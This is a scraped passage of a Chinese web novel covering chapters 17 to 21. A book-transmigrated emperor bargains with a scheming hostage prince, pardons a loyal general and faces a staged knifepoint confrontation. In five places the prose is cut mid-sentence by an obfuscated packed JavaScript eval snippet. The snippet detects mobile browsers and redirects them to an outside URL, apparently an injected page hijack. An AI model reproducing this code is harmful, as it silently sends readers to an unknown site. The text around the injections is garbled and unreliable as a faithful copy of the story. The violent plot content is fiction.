裴郁璟是真被撞昏了头,躺在踏道挡路,所以人暂且被抬到了紫宸殿的隔间的榻上。 一天一夜,现在还没醒。 师离忱过去瞧了一眼,手里的奏疏重重拍在裴郁璟脸上,也没把人砸醒。没砸醒他也懒得捡起来再砸第二回,本来就是特意拿过来给裴郁璟看的。 他居高临下凝视着裴郁璟。 裴郁璟头上包着白纱,脸色惨白,不过这张脸师离忱很欣赏,鼻挺眉深,阴鸷俊美,正点着灯,睫毛在睑下投出一片阴影。 双膝隐隐作痛,师离忱不想挪位置,干脆席地而坐,背靠着榻。闭目深思的同时,他掌心也在慢慢轻柔着膝盖以缓解这份疼痛。 原书中的这个时间点,暴君已然放权佞臣,不理朝政,城防也成功被太后盗走,后来这张城防图落在男主手中,为后续攻打月商增添了一份力。 正因知晓书中剧情,师离忱先下手为强。 先将朝中佞臣党尽数处理,后清除太后党让其无法在朝中拥有话语权,又换了城防。 师离忱把大权收拢在手至今,唯有一点想不通。 他觉得,书中的暴君,似乎在刻意摆烂。 这点,他特意从原书的角度仔细分析过。 暴君对于男主,对于太后党,对于弄权的佞臣党,是完完全全漠视的,无所谓的。 前期男主所受到的奚落和屈辱,绝大部分也都来自于宫人们和宗室王孙,或许是暴君没有发话的缘故,这些人不敢做得太过分。 前期的月商国,忠臣党势微,老臣大多被逼得辞官,或被按上罪名贬官罢官远离京都,唯剩太帅和太傅坚守。 除了忠臣党外,朝中佞臣党与太后党分庭抗礼,斗得激烈,谁也奈何不了谁。 不知有意还是无意,一旦太后党得势,暴君便会放权给佞臣党,有佞臣得了权则会牵制太后。 当然忠臣党也在其中运作,最终达到一种诡异的平和。 细品之下,耐人寻味。 故意的? 或是无意? 都值得探究。 若是故意为之,便代表暴君是控制朝廷的能力……那暴君为什么会放跑男主? 想多了头就开始疼,师离忱揉了揉眉心,往后靠了靠,撩起眼皮侧目看了眼静静躺着的裴郁璟。 即便是这种猎奇的角度,那张俊容依然优越。 总不能是暴君图他好看…… 放虎归山,总有原由。 师离忱无声一叹。 虽说是穿书,可真正身在其中才能得知,这不是几个文字拼凑起来的,片面的世界。 文字看不见的地方会被补全,需要自己寻找答案。 “圣上!哎哟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12321087|128419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您怎么坐地上了!”乐福安捧着温好的药包,刚进来就见圣上背靠着榻,姿态散漫地坐在小榻前面的地上。 他赶紧叫人抬了个椅子过去,自个弯腰搀扶圣上坐在宽椅上,才长吁一气,“您呀,也要注意些身子,地上凉。” 药包敷在膝盖上,师离忱眼露倦色,低声道:“不想动。” 虽然就几步路,可不想动就是不想动,上好的墨玉铺出来的地,每日宫人来回擦拭好几遍,也不脏,坐就坐了。 乐福安心疼道:“圣上自登基以来,便时刻勤政,老奴也盼着圣上什么时候能歇一歇,您腰间的玉带都要往里缩一圈了,老奴瞧着心疼。” 师离忱轻笑道:“你这嘴再甜,朕也没胃口多添碗饭,收着吧。” “圣上!”乐福安嗔怪。 “圣上没胃口,能不能给小宠添一碗。”一旁,传来裴郁璟似乎堪堪苏醒,还有些沙哑的低沉嗓音。 师离忱托着下颌,闲闲瞥去。 刚刚拍在脸上的两份情报正堆在裴郁璟脖子边上,察觉到异常,裴郁璟醒过来后先把奏疏拨开,摸着手感不对又拿起来。 他省着力气没打开,只道了句:“饿了。” 瞧他这有气无力的摸样,师离忱似笑非笑道,“舍得醒了?” 裴郁璟半点都不想掩饰,眼神放肆地盯着师离忱,露出一个阴恻恻的笑,“再不醒,圣上就该做点什么让我醒了。” 18. 第十八章:同类的味道 “放肆!”乐福安板脸呵斥,“没规矩的东西,怎么和圣上说话的?!”居然连榻都不下了。 自打上回裴郁璟以下犯上后,乐福安就一直瞧不惯这南晋人,装模作样的样子真是可恶。 裴郁璟一个目光都没分给乐福安,仍然直勾勾看着师离忱。 果然没那层虚伪的面具看起来顺眼多了,师离忱抬手轻摆一下,按停了还要怒斥的乐福安,哼笑道:“朕养的小宠,朕许的,去备膳。” 顿了顿,他语气温和补充道,“还有药。” 不加一根甘草,放满黄连的药。 而且裴郁璟猜得也没错,他确实打算采取一定手段,把人强行叫醒,真可惜手段没能用上。 他挑眉,示意裴郁璟打开那两本奏疏,“给你带的,瞧瞧吧。” 其实奏疏砸在脸上的时候,裴郁璟就醒了。 那力道并不轻,甚至他的脸还有点发麻的疼,他之所以没睁眼,是因为暂时不想面对性情乖张的小皇帝。 没想到小皇帝干脆在旁边坐下了。 他见识过小皇帝下手有多狠,与其等小皇帝耐心耗尽把他掐醒,倒不如他识时务些,自己睁眼。 以及。 他也没料到,砸在脸上的,会是来自南晋的情报。 裴郁璟一目十行,渐渐从榻上坐起身来,目光阴沉沉的停在奏疏上,忽地笑了一下:“圣上耳目探听得够清楚。” “小把戏。”师离忱懒洋洋道,“海东青日行千里,这两份密报五日前从南晋传出,很新鲜,朕拿它和你做个交易。” 裴郁璟挑眉,“圣上想换什么?” 师离忱狮子大开口,“南晋边防布局。” 闻言,奏疏被裴郁璟随手叠到一旁,耸肩:“那等机密我可没有。”他看着师离忱,笑着露出一口森森白牙,“就算有,圣上拿这点消息可不够换。” 师离忱也不恼,哼笑道:“随你便,总归等死的不是朕。” 两封奏疏,一封记着裴郁璟一母同胞的兄长,二皇子中毒。一封则是南晋主战派试图和鞑靼人联手,继续进攻月商。 原书中天下大乱,也有鞑靼人的原因。 书中也写了,二皇子中了慢性毒,没有解药只撑了一年,一年后身亡。二皇子身亡后男主直接杀回了南晋。 包括这次来月商为质,原本定的也是二皇子,只不过裴郁璟代替他来了,具体原因书中并未细说。 所以师离忱猜测,裴郁璟或许对这个兄长有几分在乎,就算不在乎也没关系,这些消息并不会影响什么。 四目相对,师离忱有恃无恐地扬了扬唇角,裴郁璟眼中渐渐敛了笑意,神情陡然冷凝。 突然,裴郁璟猛地凑到师离忱身前,靠近。 他半坐在圣上膝前,手臂搭在了圣上的腿上,昂首时眼神幽幽的落在圣上脸颊,盯着只剩下一点淡红痕迹的牙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12335973|128419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 印上。 圣上动也未动,依旧懒懒地靠着椅子,居高临下地睨着他。 圣上微卷的长发半垂在身前,嗅着淡淡的香气,裴郁璟指腹卷了一缕墨发,忽地笑了,“圣上猜错了。”他语气森森,“毒是璟下的,璟怎么会盼着他好呢?” “你替他为质,还给他下毒?图什么?”师离忱温声问。 裴郁璟慢条斯理道:“自然是图高兴。” 简单的一句话,隐隐透露出几分疯劲,这种类似感应到同类的味道,足够让师离忱刮目相看,因此他愿意多给裴郁璟一点耐心。 让事情变得有趣起来。 他俯身,轻轻捧起裴郁璟的脸庞,仔细打量着,欣赏着,忽然觉得这张脸顺眼许多。也是这张脸看奏疏时的表现,差点让他以为猜对了。 结果这狗东西玩得一手变脸,又在演。 师离忱低声笑了两下,亲昵道:“都说了别演,再敢耍朕,朕赏你一个穿心箭,记住了?” 贴在脸颊的手掌微凉,裴郁璟忽然感到嘴唇有些干涩,忍不住摩挲两下绕在指间的,小皇帝的细发。他觉得,不如给他两巴掌来得舒坦。 宣膳的乐福安回来,一见二人靠得如此近距,尤记得上回的教训,顿时警铃大作,拔高嗓音大喝一声:“你离圣上远点!” 此次交谈以乐福安的怒斥声为结尾。 夜色渐浓,第一回谈判。 失败。 19. 第十九章:功过相抵 晨间细雨过后,拨云见晴。 午后日光灿烂,镇国侯班师回朝,远远可见军旗飘扬,月商国崇尚玄色为尊,军旗以玄红二色为主。 早放了消息,百姓夹道欢迎,楼层高的就从窗户探出脑袋,往下撒花丢香囊,欢呼雀跃声声不断。 跟随进城的都是亲兵军卫,玄甲军骑在高头大马之上,整齐划一,铁蹄踩在街上发出沉闷响声。 玄甲军最前方,并列前行的是前来迎军的穆子秋,以及面色肃冷的镇国侯。 穆子秋满脸骄傲,笑嘻嘻地吹嘘道:“爹,儿子现在可出息了,是禁军中郎将,禁军副手!圣上赏识我,说不准过段时间我能调到御前护驾去呢!” 镇国侯冷冷瞥他一眼,一言不发。 穆子秋等半天也没等到他爹一句夸,不满道:“爹,您怎么一句话都不说?儿子出息了!” 说话间,他摘掉砸到头上的香囊,挥开差点掉眼睛里的花瓣。幸亏禁军在旁边拦着,否则这人得冲到前头来。 镇国侯板着张脸,意味不明道:“是吗中郎将将军,圣上把调遣禁军的令牌给你了?” 穆子秋凝噎一瞬,反问:“什么令牌?” 十万禁军守京都,这回与南晋交战调走五万,京都留守了五万。中郎将按理是能得到最少一万的禁军调令,在武将中算是不错的官职。 可镇国侯瞧着穆子秋听到令牌两眼茫然脑袋空空的样,就知道这小子八成连中郎将是做什么的都不知道,被圣上忽悠住了。 镇国侯被这个老来子气到不打一处来,低声斥道:“连中郎将职务都摸不清楚,蠢货!就你这样去边关活不到三天。” “圣上就是看重我!前两天林氏抄家都是派我去监管的!”穆子秋反驳,不许他爹说不行。 监管抄家算什么重要活计,若真看重,穆子秋早该参与林氏一案的调查,而不是等结案了才得了个不轻不重的活。 但这话说给傻儿子听,估计他也听不懂,镇国侯难免不为穆家的未来发愁,忍不住叹气。 穆子秋被他爹叹气的声引得侧目,不满的嘟囔:“咱们两年没见了,一回京都就挑我身上的刺,这事我要告诉阿娘。” 镇国侯眼睛一瞪,胡子都跟着跳了跳,“少在你阿娘面前嚼舌根,这臭毛病改不了了是不是?要是淑华让我睡书房,我饶不了你小子!” …… 清风迎面,师离忱站在城楼高处,垂眸看着。 他脸上牙印已然全部淡化,披了一件大氅,隔空点了点为首的镇国侯和穆子秋,眸中含笑道:“你瞧瞧他们,才见面,又吵上了。” 乐福安打眼看了看底下,老脸笑得慈祥:“侯爷爱子心切,吵啊闹啊总归是忧心自家孩子才会如此。” 镇国侯和世子虽在吵嘴但氛围融洽,其余人是插不进去的。 看了会儿,师离忱轻轻转起玉戒,撩起眼皮望向天空,雨后的晴天,天总是格外的蓝。 近日旧疾常犯,他不敢久站,呼吸了会儿新鲜空气,转身坐在了乐福安推来的轮椅上,依稀能听到城楼下的欢喝声。 师离忱闭目养神,静静等待。 不多时。 守在底下的金吾卫来禀:“镇国侯与穆世子求见。” 师离忱懒懒地打了个哈欠,摆手,“让镇国侯上来吧。” 金吾卫低首领命,快步下去,命人放行,独让镇国侯一人上城楼,穆子秋被拦住了。 穆子秋难以置信,“圣上又不见我?!” 这儿可没人惯他,金吾卫面无表情,目视前方不搭话,交叉横在中央的长枪一动不动。 镇国侯回头,冷脸呵他,“御前不可放肆,滚回家去。” 见没有通融的机会,穆子秋‘切’了一声,根本不听他老子的话,就地找了个台阶坐,打算在这儿等着。 …… 城楼上。 镇国侯一改玩闹之态,神情肃然跪地行礼,双手高举着一枚虎符,沉声道:“臣承蒙圣上厚爱,出征归来,幸不辱命,前来归还虎符!” 师离忱起身,俯身将人扶起,打量几眼,叹道:“边关两年,爱卿劳苦功高,也瘦了。” “为月商,值得。” 镇国侯顺势起身,把虎符交到圣上手中后,他神色也松弛了些,苦笑道:“若不是圣上严格把关,军粮一粒不少的送到边关,将士们恐怕也撑不到今日。” “军需为重,不可懈怠。”师离忱轻描淡写道,“谁挡了军需,谁该死。” 即便远在边关,镇国侯也听说了圣上登基后的丰功伟绩,忍不住擦了擦额角冒出的汗。 圣上监国一年,登基一年,当时还是太子的圣上监国,做事仁善,完全看不出登基后的手段狠辣,心思缜密。 想到宫中那位野心勃勃的太后娘娘,镇国侯又一阵头疼,与圣上寒暄几句过后,嗫嚅着嘴唇不知该提还是不该提。 到底是嫡亲妹子,他舍不下。 圣上似瞧出他的犹疑,道:“爱卿想说什么,便说吧。” 镇国侯愁眉苦脸道:“臣是武将,没那么多弯弯绕绕的肠子,说话或许不大中听,还望圣上海涵。” 师离忱姿态散漫地坐回了轮椅,噙笑道:“朕恕你无罪。” “那臣可说了。” 镇国侯深吸一气,突然双膝跪地,猛地俯身叩首,语气认真道,“臣虽有功,但不敢居功自伟,太后年纪轻轻就入宫陪伴先帝,被养得不知天高地厚,可臣就这么一个妹子,臣知道她心思不纯,大逆不道,臣还收到她意图谋反的信件,故此臣也不要任何赏赐,只想求圣上,无论如何饶她一命。” 不光是意图谋反的信,昨夜他还收到宫中连夜传出的,‘太后宫中女官私自盗取京都城防图’的事。 这消息能传出来,显然是圣上刻意透露,等他的态度,因此他立刻做出了决断,舍兵权,保太后。 话音落下。 空气陡然凝滞。 站在后头的乐福安恨不得塞住俩耳朵,大气都不敢出。论知晓内情,没人比他知道的更多。 太后犯得可不止一件事,还有诛九族的大罪,包括圣上双膝总犯的旧疾也是太后娘娘的手笔。 也得亏圣上宽厚,只把太后娘娘发配到九华寺去礼佛,这不太后前两日找了理由回宫,圣上也没拦着吗?谁能有太后娘娘自在啊! 师离忱唇角带笑,笑却不达眼底,他歪了歪脑袋单手支着额角,垂眼淡淡睨向镇国侯,嗓音低沉情绪莫测:“换做旁人,单凭这些话,朕就该摘了他的脑袋。” 镇国侯屏息闭目,将头埋的更深了些,等候圣上宣判。 师离忱声音平常,“朕知道你是忠臣,否则两年前便不会和先帝举荐你出征,你不是不知道先帝最忌讳外戚干政,本想罢了穆家爵位,朕一力保之,况且你此次大捷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12346954|128419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回京,确实没让朕失望。” 为了血脉亲情毫不犹豫地交出虎符,足以证明并不贪心。 镇国侯嗓子沙哑:“臣惶恐。” 玄铁造出的虎符刻着金文,师离忱懒懒地把玩起手中的虎符,轻描淡写道:“所以,你以为太后怎么活到的今天?是你的忠心救了她。” 太后在九华寺传出去的信,没有一封从他的眼皮底下漏过,传信给镇国侯这事他早已知晓。 不过他没想到镇国侯会直接说出来,这位武将用兵厉害归厉害,却耿直的可怕。 对待忠臣师离忱一向很宽容,他道:“她那些把戏,朕根本没放在眼里,翻不出天,把你的心放回去吧。” 有这句话,镇国侯狠狠松了口气,明白今天坦白这一遭是对的,低声道:“圣上宽宏大量,是穆家有罪。” “朕说过恕你无罪,起来吧。”师离忱用视线描绘着虎符的纹路,问他,“此次大捷归来,可有想要的?” 这是要封赏。 才求过一遭,镇国侯自认足够,万万不敢接其他,郑重道:“圣上已然给过恩典,功过相抵,多余的臣不能再要。” 师离忱眼皮轻抬,侧目看他,哼笑道:“你瞧你,朕又不吃人,何必如此胆战心惊。” 对圣上波澜不惊的眼眸对上,镇国侯狼狈地笑了笑,背后一身冷汗。 事关太后意图谋反,他到底还是大胆进言了,幸而圣上并非那等心胸狭隘的君主。 “太后是太后,穆家是穆家,你且安心。”师离忱又给他吃一颗定心丸。 镇国侯道:“臣叩谢圣上隆恩。” 师离忱漫不经心道,“过会儿你也去劝劝太后,若是她安分些,朕给她好好颐养天年。” 当然也是另一种方式的侧面敲打。 镇国侯应了声,又叹了一气。 眼前的圣上早不是当年的稚子,只希望锦绣别再惹恼圣上,否则到时候只怕不能善了。 “明日下旨给你进一爵,镇国公。” 师离忱慢条斯理地下定论,“许久未归家,国公想来要和家人团聚,手中军务暂且交给秦易吧。” 秦易,禁军统领,二十出头的年纪,是师离忱亲自挑选出来的武状元。十七八岁的年纪就考上了,因为年纪小被先帝瞧不上,被调来东宫做他的侍卫,直到他登基才被挖出来重新任用。 被卸任军职,镇国侯,不现在是镇国公。 镇国公丝毫没有烦恼,甚至露出了面圣以来第一个舒心的笑容,诚恳道:“好,臣也要好好歇一歇了,臣很想念夫人,不知淑华这两年有没有好好吃饭。” 见他笑得甜蜜,师离忱玩味道:“当年郡主想随军,爱卿不是不同意吗?” “那不一样,边关苦寒,臣舍不得淑华吃半点风沙。”镇国公眉目舒展,“淑华过得好,臣才能好。” 师离忱仿佛闻到了爱情的酸臭味,嫌弃摆手,“这般想念,朕便不留你了,快些回去吧。” 镇国侯愉快谢恩,“是,臣领旨。” 下了城楼见自家小子还坐在台阶上,想起这小子天天往宫里跑的丰功伟绩,镇国侯忽地脸色一板,上去揪起穆子秋耳朵,咬着牙边走边骂:“叫你滚回家,聋了吗!你有几个脑袋够折腾?嫌你爹命长了?你们能不能让我省点心!” 穆子秋没能蹲到圣上,反而得到他爹一顿狠骂,一路鬼哭狼嚎地被揪着走。 20. 第二十章:我的答案…… 他…… 晚间。 银霜洒地,圆月高空,星辰漫天,师离忱抬头看了眼,“今日月色好。”比起去吵闹的庆功宴,他更倾向于去清净的观星台。 他改了主意,改道摆驾观星台,让乐福安去传话,让庆功宴照常开,不必拘礼,等晚些他再过去。 观星台是皇宫最高的楼阁,四面门窗可完全打开,呈四面挑空,悬挂遮风帘可以拉下,或是散开轻纱帐,让轻纱随风飘。 先帝在的时候喜欢在观星台看舞姬随着轻纱起舞,师离忱没有这个癖好,自然也就把这轻纱帐搁置了。 观星台很大,外围有及腰的护栏,点起等似蒙上一层昏黄的轻雾。 站在外台居高临下地朝底下扫一眼,便可将宫中景观一览无遗。可直面晚风,赤足踩在地上,抬眼就能望月。 将碍事的大氅脱了丢在一旁,师离忱在观星台慢悠悠地来回漫步,如玉细琢的足透出淡淡粉意,踩在墨色木质的地面,格外夺目。 屏退宫人,观星台无人,细细聆听风将玉铎吹响碰撞的乐声,他手中随意拿着个玉盏,轻哼着调,时不时品一口酒水。 难得的安宁。 乐福安传话回来,在一旁暗暗瞧了片刻,心底里着急,生怕圣上又发热,可圣上兴致尚高,他直接劝必然会招来厌烦。 乐福安想了想,忽地有了主意,借着为圣上添酒的功夫,他笑得一脸献媚,“圣上许久没这么放松了,兽园的小伙伴念着圣上呢,特别是小汤圆,圣上可想它了?” 小汤圆,兽园里养着的黑白花纹吊睛白额大猫。 师离忱笑着侧目看他,“小汤圆怎么样了?” 乐福安瘪嘴诉苦,“小汤圆近来很没精神气,半个月没与圣上接触,它兔子都少吃了两只,整日在园子里走来走去。” 对于这只大猫,师离忱是很喜爱的,如今一提,他又起了心思,手痒了想撸一撸猫,挥手道:“把它带过来。” 乐福安“欸”了一声,紧忙下去吩咐金吾卫办事。小汤圆有专人照顾,打小饲养在皇宫,野性虽有却也被驯化得快没了,师离忱一手将小汤圆养到一岁,同吃同住,直到大到令旁人害怕了,才专门开了个园子养起来。 五六个金吾卫将小汤圆牵引到了观星台。 如今两岁半的大猫,已然比成年大猫还要雄壮,足有二百六十多公斤,换季让它的毛发更长了些,站在那儿便把旁边的金吾卫都比小了去。 它脖子上锁链比手臂还粗,见到师离忱从嗓子眼里发出一声急切嘶哑地虎啸,喘着气来回踱脚,鼻翼嗅动,让牵着它的金吾卫无法掌控,不受控制地摔倒在地。 师离忱张开双臂,低声道:“来。” 得了准许,小汤圆“嗷呜”一声,毫不费力甩开牵引着锁链的金吾卫,猛地扑向师离忱。 有个金吾卫来不及松手,被拖着拽了几尺,好险被身边的同僚救了回来,乐福安惊呼:“圣上小心!” 大猫虽收着力道,却也足够沉重。师离忱依旧被扑了个满怀,强大的惯性让他坐到地上。 师离忱也不恼,脸上犹带温和的笑容,搂着小汤圆的脖子,使劲搓了搓,小汤圆亲昵地歪起脑袋任由他摸,享受地眯起眼睛,挺大一只老虎夹着嗓子呜呜地哼唧,不大好听,但是顺耳。 安抚大猫的同时,师离忱抬起眼皮瞥了眼后头。 那名被拖拽了会儿的金吾卫正艰难站起,神情难堪地低头,垂在身侧的手臂别扭无力,俨然是断了。 “小汤圆无心之失。”他唇角含笑,声音沉沉:“但尔等勇猛,该赏。” 几名金吾卫顿时如打了鸡血般挺起胸膛,并不是为了赏,而是因为圣上金口玉言的夸赞。光是一句‘勇猛’足以让他们在金吾卫当中面上有光,是伤是痛此刻完全不重要了,他们眼神亮得可怕,齐声道:“为圣上出力,是臣等荣幸!” 众人退去,大猫亲昵够了,绕到师离忱身后趴下,将自身的肚皮和身子当做圣上靠垫,将硕大的虎头塞到圣上手底下,讨巧卖乖。 师离忱一手端着玉盏,一手有一搭没一搭的摸着小汤圆的脑袋,厚厚的皮毛摸着很柔软,让他心情更好了,宠溺地点了点小汤圆的鼻子,“谁家大老虎和你似的爱撒娇。” 小汤圆拱起师离忱掌心,叫声粗犷地“嗷呜嗷呜”回应。到底是亚成年大猫,声音再夹也是粗的。 师离忱抿一口酒水,余光瞥见大猫抖了抖耳朵,忽地警惕地昂头。 帝王不慌不忙挪开唇间的玉盏,嗓音沉沉,“出来。” 一个黑影从屋顶翻了下来,裴郁璟拍了拍衣摆上的灰,一身黑金劲装在他身上高挺干练。 “圣上安。”他不算恭敬的行了个礼,正要往观星台里面走,被师离忱沉声喝住:“站住。谁许你进来了?” 裴郁璟一顿,挑了挑眉,凌空架在台阶上的脚又收回来。伏在帝王身侧的白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12374337|128419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虎双目眈眈,朝他龇了龇牙。 裴郁璟眼神一戾,阴鸷地回望过去,白虎喉咙里发出震震低吼,吵到了帝王,大脸被猛然赏了一巴掌,圣上不悦:“安静些。” 大猫委屈地趴回地上。 裴郁璟把目光转落在堂中的帝王身上。 依靠在大猫身上的帝王,姿态懒散随意,眸中已有微醺之色,广袖龙袍要掉不掉地披在身上,垂下长摆铺了一地,在大猫怀中修长的身量似乎都小巧了许多。 帝王唇上还有酒渍泛出的水光,他轻抬着眼梢闲闲睨来,语调嫌弃,“带了一脚的泥来,别脏了朕的地。” 裴郁璟视线下移,瞧见圣上衣摆下露出的一截玉足,立刻明白了意思,脱了鞋才踩进观星台,这回没被师离忱叫停,顺利地在距离圣上不远的地方席地坐下。 裴郁璟盯着师离忱把玩大猫耳朵的手指,苍白纤长的指,绕着大猫耳朵打圈圈,看得他嗓子干哑。 他问:“圣上怎么不问璟,今日去哪儿了?” “左右不过见几个人,朕又不拘着你,何必做贼似的。”师离忱勾起唇角,笑得轻狂,看着裴郁璟:“使臣那么急着见你,想来是有要事相商,讨论一整日了,你们可讨论出结果了?” 裴郁璟也笑了,“圣上不好奇?” 师离忱托腮,慢条斯理道:“那要看你肯不肯说。” 裴郁璟故作苦恼,叹道:“他们要我刺杀圣上。” 南晋使臣得了南晋来信,主战。 所以他们连夜商讨,打算舍弃一个质子,让质子裴郁璟刺杀月商皇帝。 若能刺杀成功,那就是以一个皇子换一国君主的性命,划算。若是不成功,舍得也只是一个质子,不影响大局,依旧划算。 师离忱笑了笑,低眸品一口酒,道:“那你的答案呢?” 清酒水波平稳,裴郁璟直勾勾,放肆地凝视着波澜不惊的帝王。 空气陷入沉寂,唯有玉铎慢响。 半响没等到回答,帝王淡淡地一眼瞥过来,挑眉“嗯?”一声催促,眸波漠然,却瞧得裴郁璟牙尖发痒。 一把匕首从他袖间掏出,陡然出鞘,寒芒从师离忱眼前一晃而过。 手腕忽地被扣住,刀柄被强硬地递到帝王手心。 裴郁璟死死桎梏着师离忱的手,让其被动的握住刀柄,让刀尖抵住心口。 他笑得癫狂,轻声低语,“我的答案……” 21. 第二十一章:别试图激怒朕 师离忱施舍般落了个眼神抵在裴郁璟心口的刀尖,声音风轻云淡道:“你这是做什么?” “圣上不是一直想杀我吗?”裴郁璟眼底阴恻恻,笑也阴恻恻,“璟这是在帮您。” 自己动手是一回事,被迫动手是另一回事。裴郁璟的突然发疯,成功把师离忱很好的心情搅合了一半。 他不愉地眯了眯双眸,不耐地警告:“滚远点,别烦朕赏月。” 裴郁璟紧扣着师离忱的手腕,让刀往里刺,锋利的刀刃轻易刺穿了衣物,刺破了皮肤。 系统尖锐地声音不断响起,“采取干预,采取干预——即将释放五级惩戒,即将释放五级惩戒——” 帝王从始至终只是被迫握住了匕首,没有任何举动。只是裴郁璟两只大掌完全将帝王的按在了刀柄上,包裹着,用力。 力道大到整个匕首都在颤抖,却不能再进半寸。 师离忱敛去笑意,转过头面无表情地盯着裴郁璟。 裴郁璟同样死死直视着天颜,他的笑容逐渐扩大。野兽在这一刻完全展现了獠牙,不掩饰任何企图,森森道:“怎么了圣上?您前几回不是做得很好吗,为什么不动了?” “是不想杀,还是不能杀?是因为南晋所以不杀吗?还是圣上下不了手?” 很显然,他发现了怪异的地方。 五级惩戒释放,已经不是简单的电击,从骨髓里传出的疼痛,让师离忱口中涌出少许腥甜。 被血腥味一刺激,他忽地感到兴奋了,稀奇地打量着裴郁璟,“你的答案,就是偷了朕的匕首,这样跑到朕面前找不痛快?” 裴郁璟神情病态而疯狂,“南晋的蠢货不值得我付出,我只是想和您谈条件。” 在看到小皇帝嘴角溢出血色的时候,他眼底沉了沉,抖动无法再进半寸的匕首,更像是两个人无声的较量。 一个拿命做赌,一个和系统做斗争。 月色正浓,月光让刀锋看起来更冷。 陡然间,观星台爆发出一阵笑声,帝王肩头微耸着,开怀大笑,笑够了,笑累了,他才停下换气。 那笑意不达眼底,弯起地眼眸像是嘲弄,他看着裴郁璟的眸中满是恶劣,“威胁朕?你还不够格!” 最后一句,语调压低,带着帝王独断专行的蛮横。 “嘭!” 玉盏摔地,四分五裂,连带酒水也倾覆。 顷刻间金吾卫蜂拥而上,围满观星台,乌泱泱地人将月光都遮挡了大半。 师离忱自主握住匕首,一脚踹在裴郁璟肩头,高大的身影瞬间被郞义带两名金吾卫制住,压下。 裴郁璟也没想反抗,任由金吾卫压着跪地,面上神情不慌不忙地看着师离忱,吊儿郎当道:“圣上,我还没说谈什么呢,这么急着翻脸?” “哪儿闯进来的刺客!”乐福安跟在后头进来,见是裴郁璟,怒发冲冠:“怎么又是你这货!” 小汤圆被他嗓门惊一跳,发出一声虎啸。师离忱抬手按了按,示意噤声,又拍了拍小汤圆‘王’字脑门。 师离忱垂眸打量着匕首,刀尖还有一点血渍。 他用指腹轻轻抹去,慢条斯理道:“你很聪明。” 虽然猜的方向不对,但答案八九不离十,他不是因为南晋不杀裴郁璟,而是因为系统杀不了裴郁璟。 师离忱站起来,慢吞吞地走到裴郁璟面前,用刀尖挑起裴郁璟的下巴,扬起唇来笑得渗人:“说说看,你是怎么猜出来的?” “圣上打鸟的暗器很准,明明是瞄准心口的箭,没道理会往上偏两寸。”裴郁璟阴恻恻道,“要命的匕首,最后刺中的却是腿,圣上如果想饶了我,就不会把我往死里折腾了,这些都只能说明圣上不想杀我,不能杀我,或者……杀不了我。” 说得很多,猜得很准。 准到师离忱有些生气了。 他垂首低低笑了两声,在寂静的观星台散开未免有些骇人,轻飘飘道:“你说得对,朕也要和你说一件事。” 裴郁璟挑了挑眉,“愿闻其详。” “朕确实不能杀你,可有件事你得知道。”师离忱道:“粗鲁的鞑靼人,惯用牵羊礼,那种野蛮的手段怪叫人没脸的,又恶心。朕是文人,一向不爱用虐杀手段对待俘虏。” 他居高临下地睨着裴郁璟,面带笑容幽幽低语:“但朕能做得更狠,因为让人活着,又痛苦的办法有很多种。” 冰冷的刀身在裴郁璟脸上拍了拍,帝王微微俯身,继 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12391036|128419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 续道:“比如砍了你的手脚,让你一辈子只能像蛆虫一眼在地上蠕动,朕宫中的太医们医术高明,保证能让你没了手脚以后也能活得很好,活得健康。” 